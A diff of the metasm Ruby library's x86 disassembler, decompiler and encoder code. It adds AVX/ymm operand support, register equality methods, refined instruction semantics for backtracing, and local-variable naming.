when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx[:seg]
|
||||
when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg]
|
||||
when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg
|
||||
when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg
|
||||
when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg)
|
||||
when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg)
|
||||
when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz]
|
||||
when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]
|
||||
when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]
|
||||
|
||||
when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz)
|
||||
when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128)
|
||||
when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256)
|
||||
when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128)
|
||||
when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256)
|
||||
|
||||
when :imm_val1; Expression[1]
|
||||
when :imm_val3; Expression[3]
|
||||
|
@ -218,6 +241,8 @@ class Ia32
|
|||
|
||||
di.bin_length += edata.ptr - before_ptr
|
||||
|
||||
return false if edata.ptr > edata.length
|
||||
|
||||
if op.name == 'movsx' or op.name == 'movzx'
|
||||
if di.opcode.props[:argsz] == 8
|
||||
di.instruction.args[1].sz = 8
|
||||
|
@ -229,9 +254,10 @@ class Ia32
|
|||
else
|
||||
di.instruction.args[0].sz = @size
|
||||
end
|
||||
elsif op.name == 'crc32'
|
||||
di.instruction.args[0].sz = 32
|
||||
end
|
||||
|
||||
pfx.delete :seg
|
||||
case pfx.delete(:rep)
|
||||
when :nz
|
||||
if di.opcode.props[:strop]
|
||||
|
@ -254,7 +280,7 @@ class Ia32
|
|||
# adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length
|
||||
# do not call twice on the same di !
|
||||
def decode_instr_interpret(di, addr)
|
||||
if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname[0, 3] != 'ret'
|
||||
if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/
|
||||
delta = di.instruction.args.last.reduce
|
||||
arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
|
||||
di.instruction.args[-1] = Expression[arg]
|
||||
|
@ -303,11 +329,16 @@ class Ia32
|
|||
end
|
||||
def backtrace_binding=(b) @backtrace_binding = b end
|
||||
|
||||
def opsz(di)
|
||||
ret = @size
|
||||
ret = di.opcode.props[:argsz] if di and di.opcode.props[:argsz]
|
||||
ret = 48 - ret if di and not di.opcode.props[:argsz] and di.instruction.prefix and di.instruction.prefix[:opsz]
|
||||
ret
|
||||
def opsz(di, op=nil)
|
||||
if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size
|
||||
else @size
|
||||
end
|
||||
end
|
||||
|
||||
def adsz(di, op=nil)
|
||||
if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size
|
||||
else @size
|
||||
end
|
||||
end
|
||||
|
||||
# populate the @backtrace_binding hash with default values
|
||||
|
@ -315,13 +346,20 @@ class Ia32
|
|||
@backtrace_binding ||= {}
|
||||
|
||||
eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols
|
||||
ebx = ebx
|
||||
|
||||
mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff
|
||||
sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] }
|
||||
|
||||
opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
|
||||
binding = case op
|
||||
when 'mov', 'movsx', 'movzx', 'movsxd', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
|
||||
when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
|
||||
when 'movsx', 'movsxd'
|
||||
lambda { |di, a0, a1|
|
||||
sz1 = di.instruction.args[1].sz
|
||||
sign1 = Expression[[a1, :>>, sz1-1], :&, 1]
|
||||
{ a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] }
|
||||
}
|
||||
when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } }
|
||||
when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } }
|
||||
when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb'
|
||||
|
@ -360,7 +398,7 @@ class Ia32
|
|||
when 'pop'
|
||||
lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8],
|
||||
a0 => Indirection[esp, opsz(di)/8, di.address] } }
|
||||
when 'pushfd'
|
||||
when 'pushfd', 'pushf'
|
||||
# TODO Unknown per bit
|
||||
lambda { |di|
|
||||
efl = Expression[0x202]
|
||||
|
@ -370,8 +408,8 @@ class Ia32
|
|||
bts[7, :eflag_s]
|
||||
bts[11, :eflag_o]
|
||||
{ esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl }
|
||||
}
|
||||
when 'popfd'
|
||||
}
|
||||
when 'popfd', 'popf'
|
||||
lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] }
|
||||
{ esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } }
|
||||
when 'sahf'
|
||||
|
@ -409,9 +447,25 @@ class Ia32
|
|||
ret
|
||||
}
|
||||
when 'call'
|
||||
lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8],
|
||||
Indirection[esp, opsz(di)/8, di.address] => Expression[di.next_addr] } }
|
||||
lambda { |di, a0|
|
||||
sz = opsz(di)/8
|
||||
if a0.kind_of? Farptr
|
||||
{ esp => Expression[esp, :-, 2*sz],
|
||||
Indirection[esp, sz, di.address] => Expression[di.next_addr],
|
||||
Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown }
|
||||
else
|
||||
{ esp => Expression[esp, :-, sz],
|
||||
Indirection[esp, sz, di.address] => Expression[di.next_addr] }
|
||||
end
|
||||
}
|
||||
when 'callf'
|
||||
lambda { |di, a0|
|
||||
sz = opsz(di)/8
|
||||
{ esp => Expression[esp, :-, 2*sz],
|
||||
Indirection[esp, sz, di.address] => Expression[di.next_addr],
|
||||
Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } }
|
||||
when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } }
|
||||
when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } }
|
||||
when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } }
|
||||
when 'enter'
|
||||
lambda { |di, a0, a1|
|
||||
|
@ -424,7 +478,7 @@ class Ia32
|
|||
(1..depth).each { |i|
|
||||
b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] =
|
||||
b[Indirection[[ebp, :-, i*sz], sz, di.address]] =
|
||||
Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address]
|
||||
Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address]
|
||||
}
|
||||
b
|
||||
}
|
||||
|
@ -432,18 +486,43 @@ class Ia32
|
|||
when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } }
|
||||
when 'imul'
|
||||
lambda { |di, *a|
|
||||
# 1 operand form == same as 'mul' (ax:dx stuff)
|
||||
next { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } if not a[1]
|
||||
if not a[1]
|
||||
# 1 operand from: store result in edx:eax
|
||||
bd = {}
|
||||
m = mask[di]
|
||||
s = opsz(di)
|
||||
e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)]
|
||||
if s == 8
|
||||
bd[Expression[eax, :&, 0xffff]] = e
|
||||
else
|
||||
bd[Expression[eax, :&, m]] = Expression[e, :&, m]
|
||||
bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m]
|
||||
end
|
||||
# XXX eflags?
|
||||
next bd
|
||||
end
|
||||
|
||||
if a[2]; e = Expression[a[1], :*, a[2]]
|
||||
else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1]
|
||||
end
|
||||
{ a[0] => e }
|
||||
}
|
||||
when 'mul', 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
|
||||
when 'mul'
|
||||
lambda { |di, *a|
|
||||
m = mask[di]
|
||||
e = Expression[a, :*, [eax, :&, m]]
|
||||
if opsz(di) == 8
|
||||
{ Expression[eax, :&, 0xffff] => e }
|
||||
else
|
||||
{ Expression[eax, :&, m] => Expression[e, :&, m],
|
||||
Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] }
|
||||
end
|
||||
}
|
||||
when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
|
||||
when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
|
||||
when /^(stos|movs|lods|scas|cmps)[bwd]$/
|
||||
lambda { |di|
|
||||
lambda { |di, *a|
|
||||
next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm) # XXX movsd xmm0, xmm1...
|
||||
op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/
|
||||
e_op = $1
|
||||
sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2]
|
||||
|
@ -503,7 +582,7 @@ class Ia32
|
|||
ret
|
||||
}
|
||||
when 'fstenv', 'fnstenv'
|
||||
lambda { |di, a0|
|
||||
lambda { |di, a0|
|
||||
# stores the address of the last non-control fpu instr run
|
||||
lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi|
|
||||
case pdi.opcode.name
|
||||
|
@ -532,7 +611,8 @@ class Ia32
|
|||
a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } }
|
||||
when 'bswap'
|
||||
lambda { |di, a0|
|
||||
if opsz(di) == 64
|
||||
case opsz(di)
|
||||
when 64
|
||||
{ a0 => Expression[
|
||||
[[[[a0, :&, 0xff000000_00000000], :>>, 56], :|,
|
||||
[[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|,
|
||||
|
@ -542,12 +622,15 @@ class Ia32
|
|||
[[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|,
|
||||
[[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|,
|
||||
[[a0, :&, 0x00000000_000000ff], :<<, 56]]]] }
|
||||
else # XXX opsz != 32 => undef
|
||||
when 32
|
||||
{ a0 => Expression[
|
||||
[[[a0, :&, 0xff000000], :>>, 24], :|,
|
||||
[[a0, :&, 0x00ff0000], :>>, 8]], :|,
|
||||
[[[a0, :&, 0x0000ff00], :<<, 8], :|,
|
||||
[[a0, :&, 0x000000ff], :<<, 24]]] }
|
||||
when 16
|
||||
# bswap ax => mov ax, 0
|
||||
{ a0 => 0 }
|
||||
end
|
||||
}
|
||||
when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} }
|
||||
|
@ -672,6 +755,30 @@ class Ia32
|
|||
end
|
||||
end
|
||||
|
||||
# patch a forward binding from the backtrace binding
|
||||
# fixes fwdemu for push/pop/call/ret
|
||||
def fix_fwdemu_binding(di, fbd)
|
||||
if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ }
|
||||
fbd = fbd.dup
|
||||
fbd[:incomplete_binding] = Expression[1]
|
||||
end
|
||||
|
||||
case di.opcode.name
|
||||
when 'push', 'call'
|
||||
fbd = fbd.dup
|
||||
sz = opsz(di)/8
|
||||
esp = register_symbols[4]
|
||||
if i = fbd.delete(Indirection[esp, sz])
|
||||
fbd[Indirection[[esp, :-, sz], sz]] = i
|
||||
end
|
||||
when 'pop', 'ret' # nothing to do
|
||||
when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/
|
||||
fbd = fbd.dup
|
||||
fbd[:incomplete_binding] = Expression[1] # TODO
|
||||
end
|
||||
fbd
|
||||
end
|
||||
|
||||
def get_xrefs_x(dasm, di)
|
||||
return [] if not di.opcode.props[:setip]
|
||||
|
||||
|
@ -680,8 +787,8 @@ class Ia32
|
|||
when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]]
|
||||
when 'jmp', 'call'
|
||||
a = di.instruction.args.first
|
||||
if dasm and a.kind_of?(ModRM) and a.imm and a.s == sz/8 and not a.b and dasm.get_section_at(a.imm)
|
||||
return get_xrefs_x_jmptable(dasm, di, a, sz)
|
||||
if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm)
|
||||
return get_xrefs_x_jmptable(dasm, di, a, a.s*8)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -721,6 +828,19 @@ class Ia32
|
|||
}
|
||||
l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref')
|
||||
replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l])
|
||||
# add 'case 1' comments
|
||||
cases = {}
|
||||
ret.each_with_index { |ind, idx|
|
||||
idx -= 1 # ret[0] = symbolic
|
||||
next if idx < 0
|
||||
a = dasm.backtrace(ind, di.address)
|
||||
if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer)
|
||||
(cases[addr] ||= []) << idx
|
||||
end
|
||||
}
|
||||
cases.each { |addr, list|
|
||||
dasm.add_comment(addr, "case #{list.join(', ')}:")
|
||||
}
|
||||
return ret
|
||||
end
|
||||
|
||||
|
@ -732,7 +852,7 @@ class Ia32
|
|||
s = dasm.get_section_at(mrm.imm)
|
||||
v = 0
|
||||
end
|
||||
loop do
|
||||
while s[0].ptr < s[0].length
|
||||
ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness)
|
||||
diff = Expression[ptr, :-, di.address].reduce
|
||||
if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr))
|
||||
|
@ -1161,5 +1281,46 @@ class Ia32
|
|||
|
||||
binding
|
||||
end
|
||||
|
||||
# trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX
|
||||
def name_local_vars(dasm, funcaddr)
|
||||
esp = register_symbols[4]
|
||||
func = dasm.function[funcaddr]
|
||||
subs = []
|
||||
dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace|
|
||||
next if r.to_s =~ /flag/
|
||||
if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars }
|
||||
subs << [trace[esp], dasm.function[tf].localvars]
|
||||
end
|
||||
di.instruction.args.grep(ModRM).each { |mrm|
|
||||
b = mrm.b || (mrm.i if mrm.s == 1)
|
||||
# its a modrm => b is read, so ignore r/off (not yet applied), use trace only
|
||||
stackoff = trace[b.symbolic] if b
|
||||
next if not stackoff
|
||||
imm = mrm.imm || Expression[0]
|
||||
frameoff = imm + stackoff
|
||||
if frameoff.kind_of?(::Integer)
|
||||
# XXX register args ? non-ABI standard register args ? (eg optimized x64)
|
||||
str = 'var_%X' % (-frameoff)
|
||||
str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0
|
||||
str = func.get_localvar_stackoff(frameoff, di, str) if func
|
||||
imm = imm.expr if imm.kind_of?(ExpressionString)
|
||||
mrm.imm = ExpressionString.new(imm, str, :stackvar)
|
||||
end
|
||||
}
|
||||
off = off.reduce if off.kind_of?(Expression)
|
||||
next unless off.kind_of?(Integer)
|
||||
off
|
||||
}
|
||||
# if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0
|
||||
if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] }
|
||||
func.localvars.each { |varoff, varname|
|
||||
subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact
|
||||
if subargnames.uniq.length == 1
|
||||
varname.replace 'sub'+subargnames[0]
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/ia32/main'
|
||||
require 'metasm/cpu/ia32/main'
|
||||
|
||||
module Metasm
|
||||
class Ia32
|
||||
|
@ -52,7 +52,7 @@ class Ia32
|
|||
# returns { blockaddr => [list of vars that are needed by a following block] }
|
||||
def decompile_func_finddeps(dcmp, blocks, func)
|
||||
deps_r = {} ; deps_w = {} ; deps_to = {}
|
||||
deps_subfunc = {} # things read/written by subfuncs
|
||||
deps_subfunc = {} # things read/written by subfuncs
|
||||
|
||||
# find read/writes by each block
|
||||
blocks.each { |b, to|
|
||||
|
@ -70,7 +70,7 @@ class Ia32
|
|||
end
|
||||
}
|
||||
a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI
|
||||
|
||||
|
||||
deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b]
|
||||
deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown]
|
||||
}
|
||||
|
@ -121,7 +121,7 @@ class Ia32
|
|||
end
|
||||
}
|
||||
a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI
|
||||
|
||||
|
||||
next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r
|
||||
bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown]
|
||||
false
|
||||
|
@ -290,7 +290,7 @@ class Ia32
|
|||
# mov cr0 etc
|
||||
a1, a2 = di.instruction.args
|
||||
case a1
|
||||
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg
|
||||
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg
|
||||
sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32
|
||||
if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"]
|
||||
dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});")
|
||||
|
@ -302,7 +302,7 @@ class Ia32
|
|||
next
|
||||
end
|
||||
case a2
|
||||
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg
|
||||
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg
|
||||
if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"]
|
||||
sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32
|
||||
dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);")
|
||||
|
@ -369,7 +369,7 @@ class Ia32
|
|||
# to.delete addr
|
||||
# next if not l = dcmp.dasm.get_label_at(addr)
|
||||
# sw.body.statements << C::Goto.new(l)
|
||||
# }
|
||||
# }
|
||||
# stmts << sw
|
||||
a = di.instruction.args.first
|
||||
if a.kind_of? Expression
|
||||
|
@ -512,9 +512,9 @@ class Ia32
|
|||
dcmp.dasm.decoded[b_].block.list.each { |di|
|
||||
di.backtrace_binding = nil
|
||||
}
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
def decompile_check_abi(dcmp, entry, func)
|
||||
a = func.type.args || []
|
||||
a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') }
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/ia32/opcodes'
|
||||
require 'metasm/cpu/ia32/opcodes'
|
||||
require 'metasm/encode'
|
||||
|
||||
module Metasm
|
||||
|
@ -195,27 +195,28 @@ class Ia32
|
|||
case k
|
||||
when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v]
|
||||
when :lock; 0xf0
|
||||
when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO
|
||||
when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v]
|
||||
when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v]
|
||||
when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val]
|
||||
end
|
||||
}.compact.pack 'C*'
|
||||
pfx << op.props[:needpfx] if op.props[:needpfx]
|
||||
|
||||
if op.name == 'movsx' or op.name == 'movzx'
|
||||
pfx << 0x66 if size == 48-i.args[0].sz
|
||||
elsif op.name == 'crc32'
|
||||
pfx << 0x66 if size == 48-i.args[1].sz
|
||||
else
|
||||
opsz = op.props[:argsz]
|
||||
oi.each { |oa, ia|
|
||||
case oa
|
||||
when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm
|
||||
when :reg, :reg_eax, :modrm, :mrm_imm
|
||||
raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz
|
||||
opsz = ia.sz
|
||||
end
|
||||
}
|
||||
pfx << 0x66 if (not op.props[:argsz] or opsz != op.props[:argsz]) and (
|
||||
(opsz and size == 48 - opsz) or (op.props[:opsz] and op.props[:opsz] != size))
|
||||
if op.props[:opsz] and size == 48 - op.props[:opsz]
|
||||
opsz = op.props[:opsz]
|
||||
end
|
||||
pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or
|
||||
(not op.props[:argsz] and opsz and size == 48 - opsz)
|
||||
opsz ||= op.props[:opsz]
|
||||
end
|
||||
opsz ||= size
|
||||
|
||||
|
@ -226,7 +227,7 @@ class Ia32
|
|||
adsz ||= size
|
||||
# addrsize override / segment override
|
||||
if mrm = i.args.grep(ModRM).first
|
||||
if not op.props[:adsz] and ((mrm.b and mrm.b.sz != adsz) or (mrm.i and mrm.i.sz != adsz))
|
||||
if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz))
|
||||
pfx << 0x67
|
||||
adsz = 48 - adsz
|
||||
end
|
||||
|
@ -240,10 +241,12 @@ class Ia32
|
|||
postponed = []
|
||||
oi.each { |oa, ia|
|
||||
case oa
|
||||
when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regmmx, :regxmm
|
||||
when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm
|
||||
# field arg
|
||||
set_field[oa, ia.val]
|
||||
pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128
|
||||
when :vexvreg, :vexvxmm, :vexvymm
|
||||
set_field[:vex_vvvv, ia.val ^ 0xf]
|
||||
when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0
|
||||
# implicit
|
||||
else
|
||||
|
@ -251,7 +254,7 @@ class Ia32
|
|||
end
|
||||
}
|
||||
|
||||
if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty?
|
||||
if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty?
|
||||
# reg field of modrm
|
||||
regval = (base[-1] >> 3) & 7
|
||||
base.pop
|
||||
|
@ -265,6 +268,8 @@ class Ia32
|
|||
postponed.first[1] = Expression[target, :-, postlabel]
|
||||
end
|
||||
|
||||
pfx << op.props[:needpfx] if op.props[:needpfx]
|
||||
|
||||
#
|
||||
# append other arguments
|
||||
#
|
||||
|
@ -273,7 +278,7 @@ class Ia32
|
|||
postponed.each { |oa, ia|
|
||||
case oa
|
||||
when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym)
|
||||
when :modrm, :modrmA, :modrmmmx, :modrmxmm
|
||||
when :modrm, :modrmmmx, :modrmxmm, :modrmymm
|
||||
if ia.kind_of? ModRM
|
||||
ed = ia.encode(regval, @endianness)
|
||||
if ed.kind_of?(::Array)
|
||||
|
@ -295,6 +300,7 @@ class Ia32
|
|||
when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness)
|
||||
when :i8, :u8, :u16; ed = ia.encode(oa, @endianness)
|
||||
when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness)
|
||||
when :i4xmm, :i4ymm; ed = ia.val << 4 # u8
|
||||
else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}"
|
||||
end
|
||||
|
|
@ -34,6 +34,10 @@ class Ia32 < CPU
|
|||
@val = v
|
||||
end
|
||||
|
||||
def ==(o)
|
||||
self.class == o.class and val == o.val
|
||||
end
|
||||
|
||||
def self.from_str(s) new(@s_to_i[s]) end
|
||||
}
|
||||
end
|
||||
|
@ -53,13 +57,16 @@ class Ia32 < CPU
|
|||
@sz = sz
|
||||
end
|
||||
|
||||
def ==(o)
|
||||
self.class == o.class and val == o.val and sz == o.sz
|
||||
end
|
||||
|
||||
def self.from_str(s)
|
||||
raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s]
|
||||
new(*x)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
@ -78,15 +85,21 @@ class Ia32 < CPU
|
|||
simple_map((0..7).map { |i| [i, "cr#{i}"] })
|
||||
end
|
||||
|
||||
# test registers (tr0..tr7) (undocumented)
|
||||
class TstReg < Argument
|
||||
simple_map((0..7).map { |i| [i, "tr#{i}"] })
|
||||
end
|
||||
|
||||
# floating point registers
|
||||
class FpReg < Argument
|
||||
simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST'])
|
||||
end
|
||||
|
||||
# a single operation multiple data register (mm0..mm7, xmm0..xmm7)
|
||||
# Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7)
|
||||
class SimdReg < Argument
|
||||
double_map 64 => (0..7).map { |n| "mm#{n}" },
|
||||
128 => (0..7).map { |n| "xmm#{n}" }
|
||||
128 => (0..7).map { |n| "xmm#{n}" },
|
||||
256 => (0..7).map { |n| "ymm#{n}" }
|
||||
def symbolic(di=nil) ; to_s.to_sym end
|
||||
end
|
||||
|
||||
|
@ -128,12 +141,16 @@ class Ia32 < CPU
|
|||
def initialize(seg, addr)
|
||||
@seg, @addr = seg, addr
|
||||
end
|
||||
|
||||
def ==(o)
|
||||
self.class == o.class and seg == o.seg and addr == o.addr
|
||||
end
|
||||
end
|
||||
|
||||
# ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h])
|
||||
class ModRM < Argument
|
||||
# valid combinaisons for a modrm
|
||||
# ints are reg indexes, symbols are immediates, except :sib
|
||||
# ints are reg indexes, symbols are immediates, except :sib
|
||||
Sum = {
|
||||
16 => {
|
||||
0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ],
|
||||
|
@ -175,6 +192,10 @@ class Ia32 < CPU
|
|||
p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3)
|
||||
Indirection[p.reduce, @sz/8, (di.address if di)]
|
||||
end
|
||||
|
||||
def ==(o)
|
||||
self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
@ -217,17 +238,44 @@ class Ia32 < CPU
|
|||
pp.define_weak('__i386__')
|
||||
end
|
||||
|
||||
# returns a Reg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16))
|
||||
# returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16))
|
||||
# returns nil if str is invalid
|
||||
def str_to_reg(str)
|
||||
Reg.from_str(str) if Reg.s_to_i.has_key? str
|
||||
Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil
|
||||
end
|
||||
|
||||
# returns the list of Regs in the instruction arguments
|
||||
# may be converted into symbols through Reg#symbolic
|
||||
def instr_args_regs(i)
|
||||
i = i.instruction if i.kind_of?(DecodedInstruction)
|
||||
i.args.grep(Reg)
|
||||
end
|
||||
|
||||
# returns the list of ModRMs in the instruction arguments
|
||||
# may be converted into Indirection through ModRM#symbolic
|
||||
def instr_args_memoryptr(i)
|
||||
i = i.instruction if i.kind_of?(DecodedInstruction)
|
||||
i.args.grep(ModRM)
|
||||
end
|
||||
|
||||
# return the 'base' of the ModRM (Reg/nil)
|
||||
def instr_args_memoryptr_getbase(mrm)
|
||||
mrm.b || (mrm.i if mrm.s == 1)
|
||||
end
|
||||
|
